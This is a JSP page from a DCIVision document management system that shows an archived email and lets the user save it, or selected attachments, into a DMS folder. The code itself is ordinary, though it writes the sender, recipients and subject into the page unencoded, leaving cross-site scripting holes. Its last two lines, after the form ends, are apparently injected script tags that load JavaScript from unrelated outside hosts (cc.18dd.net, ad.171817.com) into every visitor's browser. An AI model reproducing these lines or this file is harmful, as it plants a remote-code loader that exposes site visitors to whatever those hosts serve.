<%
  /*
   * @(#)ViewEmailMessage.jsp
   *
   * Copyright (c) 2003 DCIVision Ltd
   * All rights reserved.
   *
   * This software is the confidential and proprietary information of
   * DCIVision Ltd ("Confidential Information").  You shall not
   * disclose such Confidential Information and shall use it only in
   * accordance with the terms of the license agreement you entered into
   * with DCIVision Ltd.
   */
 
  /**

   ViewEmailMessage.jsp

   This is a ArchiveDmsEmail page.  It shows the email message.

   @author             Holmes Yan
   @company            DCIVision Ltd
   @creation date      18/07/2004
   @version            $Revision: 1.44.2.10 $
*/

%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %> 
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/dms" prefix="dms" %> 
<%@ taglib uri="/tags/layout" prefix="layout" %> 

<%@ page import="com.dcivision.user.bean.*"%> 
<%@ page import="java.sql.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.*"%>
<%@ page import="javax.mail.internet.*"%>
<%@ page import="javax.mail.internet.MimeUtility.*"%>
<%@ page import="javax.mail.*"%>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>  
<%@ page import="com.dcivision.mail.core.*"%>
<%@ page import="com.dcivision.mail.bean.*"%> 
<%@ page import="com.dcivision.dms.DmsOperationConstant"%>
<%@ page import="com.dcivision.dms.bean.DmsDocument"%>
<%@ page import="java.util.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/> 
<jsp:useBean id="maintMailSettingForm" scope="request" class="com.dcivision.mail.web.MaintMailSettingForm"/>
<html:form type="maintMailSettingForm"  action="/dms/MaintEmailArchive.do"> 
<%
try{  
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  String mailID = maintMailSettingForm.getMailID(); 
  int emailListLength = maintMailSettingForm.getEmailListLength() == null ?0:TextUtility.parseInteger(maintMailSettingForm.getEmailListLength());  
  int currentemailID = maintMailSettingForm.getMailID() == null ?0:TextUtility.parseInteger(maintMailSettingForm.getMailID());  

  int nextMailID =0;
  int preMailID =0;
  // get the next and pre mail id
  if (emailListLength != 0){
	  if (currentemailID-1 > 0){
		preMailID = currentemailID -1 ;	  
	  }
	  if (currentemailID+1 <= emailListLength){
		nextMailID = currentemailID	+1 ; 
	  }    
  }
  
  EmailMessage dm=null;
  if (request.getAttribute("emailMessage") != null){
    dm = (EmailMessage)request.getAttribute("emailMessage"); 
  }


%>
<script language ="javascript">
  PreloadImages('<html:img src="Uploading.gif" pathOnly="true"/>');
  var flowWindow = null;
  var clickedFlag = false;
  var targetAction = ''; 

  function viewEmailDetail(viewMailID){
    var popupWin=0;
    if (clickedFlag) {
      if (popupWin) {
        popupWin.focus();
      }
    } else {
      document.maintMailSettingForm.closeFlag.value ='2';
      OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow',200 , 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');

      document.maintMailSettingForm.mailID.value=viewMailID;
      document.maintMailSettingForm.opMode.value="";
      document.maintMailSettingForm.navMode.value="ARCHIVE_DMS_EMAIL";
      document.maintMailSettingForm.submit(); 

      clickedFlag = true;
      return false; 
    }
  }

  function saveEmailMessage(){   
    if(document.maintMailSettingForm.isSave.value!=""){
      alert("this Email already saved to DMS");
      return;
    }
    if(document.maintMailSettingForm.targetPath.value==""){
      alert("<bean:message key='errors.dms.target_location'/>");
      return;
    }  

    if(document.maintMailSettingForm.basicSelectedID.checked){
      document.maintMailSettingForm.action = '<%=request.getContextPath()%>/dms/MaintEmailArchive.do?opMode=SaveEmailWithSelectedAttachments';
      document.maintMailSettingForm.submit(); 
    }else{ 
      document.maintMailSettingForm.action = '<%=request.getContextPath()%>/dms/MaintEmailArchive.do?opMode=SaveAttachment';
      document.maintMailSettingForm.submit(); 
    }
  } 
  function setFalse(targetObject){   
    targetObject.checked = false; 
  }

  function downloadAttach(url) {
    window.location = url;
    return false;
  }
  
</script> 

    <html:hidden property="opMode"/>
    <html:hidden property="navMode"/>
    <html:hidden property="mailID"/>
    <html:hidden property="emailListLength"/>
    <html:hidden property="closeFlag" value="0"/>
<%
  String sCurFunctionCode = maintMailSettingForm.getCurFunctionCode()==null? SystemFunctionConstant.DMS_EMAIL_ARCHIVE : maintMailSettingForm.getCurFunctionCode();
  String functionType ="dms.label.view_email_message";

%>
  <layout:returnButton>ListDmsEmailArchive.do?navMode=L</layout:returnButton> 
  <table cellspacing=0 width="97%" border=0 align=center cellpadding=0>
    <tr><td style="padding: 5px;padding-bottom: 1px;font-size: 17px;font-weight: bold;border-bottom: 1px black solid"><bean:message key="dms.label.email.content"/></td></tr>
    <tr><td>
      <table cellspacing="0" width="100%" border="0" align="center" cellpadding="3" style="padding-top: 6px"> 
        <tr> 
          <td width="14%" align="right" valign="top">
            <b><bean:message key='dms.label.email_archive.message_subject'/>:&nbsp;</b> 
          </td>
          <td width="85%"> 
			<%
			  ArrayList duplicateNameList = (ArrayList)request.getAttribute("duplicateNameList");  
			  if(duplicateNameList!=null&&duplicateNameList.contains(new Integer(mailID))){
			%>
			  <input type='input' name="mailSubject<%=mailID%>" value="<%=TextUtility.htmlEncode(dm.getSubject())%>" size='40'>
			<% }else{ %>
			  <%=dm.getSubject()%>
			<% } %>
			<%if(dm.getIsSaved()){%>
			  <input type="hidden" name="isSave" value="true" />
			  <html:img src='IconCompleted.gif'  />
			<%}else{%>
			  <input type="hidden" name="isSave" value="" />
			<%}%>
          </td> 
          <td valign="top" width="1%"> &nbsp;</td> 
          <td valign="top" width="7%"> <nobr>
		    <%if(preMailID != 0){ %>
			  <a href="javascript:viewEmailDetail('<%=preMailID%>')" ><html:img src="IconPagerPrevious.gif"  /></a>
			<%}else{%>
			  <html:img src="IconPagerPrevious.gif"  />
			<%}%>|
			<%if(nextMailID != 0){ %>
			  <a href="javascript:viewEmailDetail('<%=nextMailID%>')" ><html:img src="IconPagerNext.gif"  /></a>
			<%}else{%>
			  <html:img src="IconPagerNext.gif"  />
			<%}%></nobr>
          </TD> 
        </tr>
        <tr>
          <td align="right">
            <b><bean:message key='dms.label.email_archive.message_from'/>:&nbsp;</b>  
          </td> 
          <td valign="top" colspan='3'> 
            <%=dm.getSender()%>
          </td>
        </tr> 
        <tr> 
          <td align="right"> 
            <b><bean:message key='dms.label.email_archive.message_send_date'/>:&nbsp;</b>   
          </td>
          <td valign="top" colspan='3'> 
            <%=dm.getSendDate()==null?"":dm.getSendDate().toString()%>
          </td>  
        </tr>  
        <tr> 
          <td align="right"> 
            <b><bean:message key='dms.label.email_archive.message_to'/>:&nbsp;</b>   
          </td>
          <td valign="top" colspan='3'> 
            <%=dm.getTo()%>
          </td>  
        </tr>  
        <tr> 
          <td align="right"> 
            <b><bean:message key='dms.label.email_archive.message_cc'/>:&nbsp;</b>   
          </td>
          <td valign="top" colspan='3'> 
            <%=dm.getCc()%>
          </td>  
        </tr>  
        <tr> 
          <td align="right"> 
            <nobr><b><bean:message key='dms.label.email_archive.content_encoding'/>:&nbsp;</b></nobr>
          </td>
          <td valign="top" colspan='3'> 
            <select name = "charset" onchange = "replaceIframe(this.value)"> 
			  <option value = "" <%if("".equals(maintMailSettingForm.getCharset())) {%>selected  <%}%>>UTF-8</option>
			  <option value = "BIG5"  <%if( "BIG5".equals(maintMailSettingForm.getCharset())) {%>selected  <%}%>>BIG5</option>
			  <option value = "gb2312"  <%if( "GB2312".equals(maintMailSettingForm.getCharset())) {%>selected  <%}%>>GB2312</option>
			</select>
          </td>  
        </tr>  
      </table>
    </td></tr> 
    <tr><td>
	<!-- Mail  Content-->
        <%
         String bodyContent ="";
         if(dm!=null&&dm.getContent() != null){
            bodyContent = dm.getContent().toString();
         }
       %>
<script language="javascript">
  var divHeight = GetInnerHeight() - 400;
  document.write('<iframe id = "emailContent"  src = "MaintEmailArchive.do?navMode=VIEW_EMAIL_CONTENT&mailID=<%=mailID%>" height="' + divHeight + '"  width = "90%" ></iframe>');
    
  function replaceIframe(charset){   
    var emailContent = FindObj("emailContent");
    if(emailContent){
      emailContent.src = "MaintEmailArchive.do?navMode=VIEW_EMAIL_CONTENT&mailID=<%=mailID%>&charset="+charset;
    }
  }
</script>
    </td></tr> 
    <tr><td>
      <table width="100%" cellpadding="0" cellspacing="0"><tr>
      	<td width="75%" style="padding: 5px;padding-bottom: 1px;padding-top: 10px;font-size: 17px;font-weight: bold;border-bottom: 1px black solid"><bean:message key="dms.label.email.saveto.paradoc"/></td>
      	<td style="border-bottom: 1px black solid;padding-bottom: 1px;padding-top: 10px;">
      		<font class="mandatoryLegendA"><bean:message key="form.label.font_style_bold"/></font>
      		<font class="mandatoryLegendB"><bean:message key="common.label.mandatory_message"/></font>
      	</td>
      </tr></table>
    </td></tr>
    <tr><td>
      <table cellspacing="0" width="100%" border="0" align="center" cellpadding="3"> 
        <tr><td colspan='2'>
          <table border="0" width="100%">
            <tr>
              <td width="5%" align="center" style="padding-top: 8px">
			    <%String emailSubject = dm!=null?dm.getSubject():"";%>
                <input type='hidden' name='emailSubject' value="<%=emailSubject%>">
                <input type="radio" name="basicSelectedID" value='<%=dm!=null?dm.getID()!=null?dm.getID().toString():"0":"0"%>' checked onclick="setFalse(document.maintMailSettingForm.saveAttachments)" >
           	  </td>
           	  <td style="padding-top: 8px">
                <bean:message key='dms.label.email.archive.savethis'/>
              </td>
            </tr>
            <tr>
              <td align="center" style="padding-top: 8px">
              <%
                List attachmentList = dm.getAttachments() ==null ?new ArrayList(): dm.getAttachments();
                if(attachmentList!=null&&attachmentList.size()>0){
              %>
                <input type="radio" name="saveAttachments" value="" onclick="setFalse(document.maintMailSettingForm.basicSelectedID)">
              <%}else{%>
                <input type="radio" name="saveAttachments" value=""  disabled> 
              <%}%> 
              </td>
              <td style="padding-top: 8px"><bean:message key='dms.label.email.archive.saveeach'/></td>
            </tr>
          </table>
        </td></tr> 
          <%  
            try{
              if(attachmentList!=null&&attachmentList.size()>0){
          %>
          <tr><td>
            <table border="0" cellpadding="3" cellspacing="0" width="90%" align="center">
          	<tr><td bgcolor="#ABABAB" colspan="2">
              <bean:message key='dms.label.email.archive.saveeach.select'/>
            </td></tr>
              <% 
                for(int i=0;i<attachmentList.size();i++){
                  EmailAttachment emailAttachment = (EmailAttachment)attachmentList.get(i); 
                  String contentId = emailAttachment.getContentID(); 
              %>
              <tr bgcolor="#dcdcdc"><td>  
                <input type="checkbox" name="attachment" value="<%=i%>" checked=true">&nbsp;
                <a href="#" onclick='downloadAttach("<%=request.getContextPath()%>/dms/emailArchiveGetImage?catchFileName=<%=emailAttachment.getCatchFileName()%>&attachFileName=<%=emailAttachment.getAttachFileName()%>&download=true")'><%=MimeUtility.decodeText(emailAttachment.getAttachFileName())%></a>
              </td></tr>
              <% 
                }
              }
            }catch(Exception ex){
              LogFactory.getLog(this.getClass()).error(ex, ex);
		    }
          %>
          </table>
        </td></tr>
      </table>
        </td>
      </tr>
      <tr>
        <td colspan='2'>
          <%
			String targetRootID = maintMailSettingForm.getTargetRootID()==null?"":maintMailSettingForm.getTargetRootID();
			String destinationID = maintMailSettingForm.getDestinationID()==null?"":maintMailSettingForm.getDestinationID();
		  %>
          <table width="100%" cellpadding="0" cellspacing="0" border="0">
            <tr> 
              <td class="formLabelSmallMan" style="padding-top: 8px;padding-right: 0px;width: 20%"><bean:message key="dms.label.email.archive.savelocation"/>:&nbsp;&nbsp;&nbsp;</td>
              <td class="formFieldSmall" style="padding-top: 8px;"> 
				<dms:folderPicker property="targetPath" hiddenRootID="targetRootID" hiddenParentID="destinationID" 
                  hiddenRootIDValue="<%=targetRootID%>" hiddenParentIDValue="<%=destinationID%>" size="60" allowCompoundDoc="false" allowPaperDoc="false"/>
            </td></tr> 
            <tr><td></td>
              <td align="center">
								<html:permissionButton label="common.label.save" right="I" onClick="javascript:saveEmailMessage();"/>
        <!--Go New Destination -->
		<%if(!Utility.isEmpty(maintMailSettingForm.getTargetRootID())){%>
            <%    DmsDocument DestDocumentRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(maintMailSettingForm.getTargetRootID()));
                  String DestFunctionCode = "";
                  if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(DestDocumentRoot.getDocumentName())) {
                    DestFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
                  } else {
                    DestFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
                  }%>
            <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(DestFunctionCode)){%>
            <html:standardButton label="dms.lebel.go_destination" link='<%="ListDmsDocument.do?parentID=${maintMailSettingForm.destinationID}&returnTo=ListDmsEmailArchive.do%3FnavMode=L&rootID=${maintMailSettingForm.targetRootID}&curFunctionCode="+DestFunctionCode%>'/>
            <%}else if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(DestFunctionCode)){%>
           	<html:standardButton label="dms.lebel.go_destination" link='<%="ListDmsPublicDocument.do?parentID=${maintMailSettingForm.destinationID}&returnTo=ListDmsEmailArchive.do%3FnavMode=L&rootID=${maintMailSettingForm.targetRootID}&curFunctionCode="+DestFunctionCode%>'/>
            <%}%>
       <%}%>
              </td> 
            </tr>
          </table>
        </td>
      <tr> 
    </table> 
<%}catch (Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
</html:form> 


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>